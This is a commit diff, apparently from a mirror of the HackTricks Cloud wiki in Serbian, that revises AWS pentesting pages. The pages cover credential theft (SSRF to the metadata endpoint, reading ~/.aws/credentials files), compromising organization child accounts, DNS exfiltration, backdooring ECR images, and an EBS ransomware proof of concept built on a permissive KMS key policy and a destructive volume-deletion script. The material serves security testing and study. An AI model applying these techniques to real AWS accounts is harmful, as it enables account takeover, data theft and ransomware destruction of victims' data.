mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains
This commit is contained in:
@@ -31,19 +31,19 @@ Alati za simulaciju napada:
|
||||
|
||||
Da biste auditovali AWS okruženje, veoma je važno znati: koje **usluge se koriste**, šta je **izloženo**, ko ima **pristup** čemu, i kako su interne AWS usluge povezane sa **spoljnim uslugama**.
|
||||
|
||||
Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Ovde imate nekoliko ideja kako to učiniti:
|
||||
Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Evo nekoliko ideja kako to učiniti:
|
||||
|
||||
- **Leakovi** na github-u (ili sličnim mestima) - OSINT
|
||||
- **Leaking** na github-u (ili sličnom) - OSINT
|
||||
- **Društveno** inženjerstvo
|
||||
- **Ponovna upotreba** lozinki (leakovi lozinki)
|
||||
- **Ponovna upotreba** lozinki (curenje lozinki)
|
||||
- Ranljivosti u AWS-hostovanim aplikacijama
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) sa pristupom metadata endpoint-u
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) sa pristupom metadata endpoint-u
|
||||
- **Čitanje lokalnih fajlova**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd party **provale**
|
||||
- 3rd parties **provaljeni**
|
||||
- **Interni** zaposleni
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)akreditivi
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)akreditivi
|
||||
|
||||
Ili kompromitovanjem **neautentifikovane usluge** koja je izložena:
|
||||
|
||||
@@ -67,7 +67,7 @@ aws-permissions-for-a-pentest.md
|
||||
Ako ste pronašli SSRF na mašini unutar AWS-a, proverite ovu stranicu za trikove:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
@@ -121,9 +121,9 @@ AWS ima neverovatnu količinu usluga, na sledećoj stranici naći ćete **osnovn
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](./#automated-tools).
|
||||
Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](#automated-tools).
|
||||
|
||||
Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima,** možda ćete moći da ih iskoristite:
|
||||
Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima**, možda ćete moći da ih iskoristite:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -139,13 +139,13 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
Dok enumerišete AWS usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge čekanja, snimci ili kante...).\
|
||||
Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima, jer bi vam mogle pružiti **dalji pristup AWS nalogu**.
|
||||
Dok enumerišete AWS usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge reda, snimci ili kante...).\
|
||||
Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima jer bi vam mogle pružiti **dalji pristup AWS nalogu**.
|
||||
|
||||
U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## Compromising the Organization
|
||||
@@ -161,13 +161,13 @@ Dakle, da biste pristupili kao administrator detetovom nalogu, potrebno je:
|
||||
- **Kompromitovati** **menadžerski** nalog i pronaći **ID** **dečijih naloga** i **imena** **uloge** (OrganizationAccountAccessRole po defaultu) koja omogućava menadžerskom nalogu da pristupi kao admin.
|
||||
- Da biste pronašli dečije naloge, idite na odeljak organizacija u aws konzoli ili pokrenite `aws organizations list-accounts`
|
||||
- Ne možete direktno pronaći imena uloga, pa proverite sve prilagođene IAM politike i pretražujte bilo koju koja omogućava **`sts:AssumeRole` nad prethodno otkrivenim dečijim nalozima**.
|
||||
- **Kompromitujte** **principal** u menadžerskom nalogu sa **`sts:AssumeRole` dozvolom nad ulogom u dečijim nalozima** (čak i ako nalog omogućava bilo kome iz menadžerskog naloga da se pretvara, kao što je eksterni nalog, specifične `sts:AssumeRole` dozvole su neophodne).
|
||||
- **Kompromitujte** **principal** u menadžerskom nalogu sa **`sts:AssumeRole` dozvolom nad ulogom u dečijim nalozima** (čak i ako nalog omogućava bilo kome iz menadžerskog naloga da se impersonira, kao što je eksterni nalog, specifične `sts:AssumeRole` dozvole su neophodne).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na sigurnost AWS-a, napisan u Ruby-u.
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na AWS sigurnost, napisan u Ruby-u.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
@@ -178,7 +178,7 @@ AWS_PROFILE=<profile> aws_recon \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist je **alat za više oblaka za dobijanje resursa** (domaćinska imena, IP adrese) od provajdera oblaka.
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist je **alat za više oblaka za dobijanje resursa** (Hostname, IP adrese) od provajdera oblaka.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja Amazon Web Services (AWS) okruženja. Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
@@ -233,14 +233,14 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase prikuplja resurse i odnose iz usluga i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom od strane Neo4j baze podataka.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase prikuplja resurse i odnose iz servisa i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom od strane Neo4j baze podataka.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Koristi python2) Ovo je alat koji pokušava da **otkrije sve** [**AWS resurse**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) kreirane u nalogu.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **dobijanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **preuzimanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Otkrijte najprivilegovanije korisnike u skeniranoj AWS sredini, uključujući AWS Shadow Admins. Koristi powershell. Možete pronaći **definiciju privilegovanih politika** u funkciji **`Check-PrivilegedPolicy`** u [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **pogrešne konfiguracije** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika.
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **greške u konfiguraciji** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika.
|
||||
- Imajte na umu da pacu **samo proverava vaše vlastite privesc puteve** (ne na nivou celog naloga).
|
||||
```bash
|
||||
# Install
|
||||
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja minimalnih privilegija i generiše HTML izveštaj prioritizovan prema riziku.\
|
||||
Prikazaće vam potencijalno **previše privilegovan** korisnik, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge zanimljive dozvole, preporučuje se korišćenje).
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja minimalnih privilegija i generiše izveštaj u HTML formatu sa prioritetom rizika.\
|
||||
Prikazaće vam potencijalno **previše privilegovanog** korisnika, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge zanimljive dozvole, preporučuje se korišćenje).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u preuzimanju poddomena** kao rezultat odvojenih konfiguracija Route53 i CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Postavi backdoor -> Pomerite backdoor-ovanu sliku
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u preuzimanju poddomena** kao rezultat odvojenih Route53 i CloudFront konfiguracija.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Uvedi backdoor -> Pomerite backdoor-ovanu sliku
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag je alat koji **pretražuje** javne Elastic Block Storage (**EBS**) snimke za tajne koje su možda slučajno ostavljene.
|
||||
|
||||
### Revizija
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** nalozima, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins).
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** naloga, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
@@ -314,11 +314,11 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju, kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi.
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi.
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite je alat za reviziju bezbednosti otvorenog koda za više oblaka, koji omogućava procenu bezbednosnog stanja oblaka.
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite je alat za bezbednosnu reviziju otvorenog koda za više oblaka, koji omogućava procenu bezbednosnog stanja oblaka.
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -336,7 +336,7 @@ scout aws -p dev
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian je motor pravila za upravljanje javnim cloud računima i resursima. Omogućava korisnicima da **definišu politike za omogućavanje dobro upravljane cloud infrastrukture**, koja je i sigurna i optimizovana za troškove. Konsoliduje mnoge ad-hoc skripte koje organizacije imaju u lagan i fleksibilan alat, sa jedinstvenim metrikama i izveštavanjem.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi koje otkrije PacBot se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za otkrivanje incidenata i odgovor.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za detekciju incidenata i odgovor.
|
||||
|
||||
## DEBUG: Zabeleži AWS cli zahteve
|
||||
```bash
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
Za informacije o SAML-u, molimo proverite:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
Da biste konfigurisali **Identitetsku Federaciju putem SAML-a**, potrebno je da obezbedite **ime** i **metadata XML** koji sadrži svu SAML konfiguraciju (**endpoints**, **sertifikat** sa javnim ključem)
|
||||
@@ -20,7 +20,7 @@ Da biste dodali github akciju kao provajdera identiteta:
|
||||
2. Za _URL provajdera_, unesite `https://token.actions.githubusercontent.com`
|
||||
3. Kliknite na _Preuzmi otisak_ da biste dobili otisak provajdera
|
||||
4. Za _Publiku_, unesite `sts.amazonaws.com`
|
||||
5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija treba i **politiku poverenja** koja veruje provajderu kao:
|
||||
5. Kreirajte **novu ulogu** sa **dozvolama** koje github akcija zahteva i **politiku poverenja** koja veruje provajderu kao:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -45,7 +45,7 @@ Da biste dodali github akciju kao provajdera identiteta:
|
||||
}
|
||||
```
|
||||
6. Obratite pažnju u prethodnoj politici kako je samo jedna **grana** iz **repozitorijuma** **organizacije** autorizovana sa specifičnim **okidačem**.
|
||||
7. **ARN** uloge koju github akcija može da **imitira** biće "tajna" koju github akcija treba da zna, pa je **čuvajte** unutar **tajne** unutar **okruženja**.
|
||||
7. **ARN** **uloge** koju github akcija može da **imitira** biće "tajna" koju github akcija treba da zna, pa je **čuvajte** unutar **tajne** unutar **okruženja**.
|
||||
8. Na kraju, koristite github akciju da konfigurišete AWS kredencijale koji će se koristiti u radnom toku:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - EKS Zloupotreba
|
||||
## OIDC - EKS Abuse
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -110,7 +110,7 @@ Moguće je generisati **OIDC providers** u **EKS** klasteru jednostavno postavlj
|
||||
```
|
||||
Ova politika ispravno ukazuje da **samo** **EKS klaster** sa **id** `20C159CDF6F2349B68846BEC03BE031B` može preuzeti ulogu. Međutim, ne ukazuje koja usluga može da je preuzme, što znači da **BILO koja usluga sa web identitet tokenom** će moći da **preuzme** ulogu.
|
||||
|
||||
Da bi se preciziralo **koja usluga bi mogla da preuzme ulogu,** potrebno je navesti **uslov** gde je **ime usluge navedeno**, kao što je:
|
||||
Da bi se odredilo **koja usluga bi trebala da može da preuzme ulogu,** potrebno je odrediti **uslov** gde je **ime usluge navedeno**, kao što je:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i u vašem vlastitom nalogu) iz nje**:
|
||||
Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i na vašem vlastitom nalogu) iz nje**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshot-i su backup-i volumena**, koji obično sadrže **osetljive informacije**, stoga njihovo proveravanje treba da otkrije te informacije.\
|
||||
Ako pronađete **volumen bez snapshot-a**, možete: **Kreirati snapshot** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga:
|
||||
**Snapshots su backup-ovi volumena**, koji obično sadrže **osetljive informacije**, stoga njihovo proveravanje može otkriti ove informacije.\
|
||||
Ako pronađete **volumen bez snimka**, možete: **Kreirati snimak** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -60,7 +60,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, još uvek može **da exfiltrira putem DNS-a**.
|
||||
Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može izaći, još uvek može **izvršiti exfiltraciju putem DNS-a**.
|
||||
|
||||
- **VPC Flow Logs neće ovo zabeležiti**.
|
||||
- Nemate pristup AWS DNS logovima.
|
||||
@@ -104,7 +104,7 @@ Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Dobijte privremene akreditive Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skripte
|
||||
3. Dobijte privremene akreditive Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skripte
|
||||
4. Prenesite akreditive na svoju mašinu u `$HOME/.aws/credentials` datoteci kao `[bastion-ec2]` profil
|
||||
5. Prijavite se na EKS kao Bastion EC2:
|
||||
```shell
|
||||
@@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Napomena da će SSL veze propasti osim ako ne postavite `--insecure-skip-tls-verify` flag (ili njegov ekvivalent u K8s audit alatima). S obzirom na to da je saobraćaj tunelovan kroz sigurni AWS SSM tunel, sigurni ste od bilo kakvih MitM napada.
|
||||
Napomena da će SSL veze propasti osim ako ne postavite `--insecure-skip-tls-verify` flag (ili njegov ekvivalent u K8s audit alatima). S obzirom na to da je saobraćaj tunelovan kroz sigurni AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada.
|
||||
|
||||
Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da se prebacite na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.
|
||||
|
||||
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Dokaz koncepta sličan demonstraciji Ransomware-a prikazanoj u beleškama o post-ekspolataciji S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.
|
||||
Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-exploitation za S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.
|
||||
|
||||
Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji upravlja korisnik u KMS-u. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'
|
||||
Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -239,7 +239,7 @@ Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se om
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama.
|
||||
Sada, sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama.
|
||||
|
||||
 
|
||||
|
||||
@@ -324,15 +324,15 @@ Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite prav
|
||||
]
|
||||
}
|
||||
```
|
||||
Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovanu' račun i pokušajte da priključite jedan od novokreiranih EBS volumena. Otkrivaćete da možete da priključite volumen.
|
||||
Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovni' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen.
|
||||
|
||||
 
|
||||
|
||||
Ali kada pokušate da zapravo pokrenete EC2 instancu sa priključenim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključeni EBS volumen ne može dekriptovati koristeći ključ jer politika ključeva više to ne dozvoljava.
|
||||
Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ jer politika ključeva više to ne dozvoljava.
|
||||
|
||||
 
|
||||
|
||||
Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovanu' račun i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS računu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovanom' računu. SAMO KORISTITE OVU SKRIPTU U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana.
|
||||
Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovni' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovnom' nalogu. SAMO KORISTITE OVU SKRIPTU U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC ransomware-a na kraju dana.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -49,12 +49,12 @@ aws ecr get-download-url-for-layer \
|
||||
Nakon preuzimanja slika, trebali biste **proveriti ih na osetljive informacije**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Napadač sa bilo kojim od ovih dozvola može **kreirati ili izmeniti politiku životnog ciklusa da obriše sve slike u repozitorijumu** i zatim **obrisati ceo ECR repozitorijum**. To bi rezultiralo gubitkom svih slika kontejnera smeštenih u repozitorijumu.
|
||||
